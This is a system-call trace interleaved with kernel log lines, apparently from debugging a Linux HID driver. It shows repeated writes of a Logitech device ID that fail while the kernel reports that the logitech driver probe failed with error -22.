[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 75.249627][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[ 75.292720][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.336148][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.358090][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.370045][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.384161][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[ 75.428080][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[ 75.439480][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.451444][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.474972][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 75.520609][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[ 75.549883][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[ 75.581018][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[ 75.602201][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[ 75.623182][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[ 75.643821][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[ 75.665103][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.685997][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.697268][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.709711][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.723778][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.747104][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.769540][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.784566][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.797734][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.810533][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.832476][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.855622][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.868361][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 75.891761][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.902839][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.926427][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.949913][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.963747][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.976187][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[ 75.999051][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.010234][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.024371][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
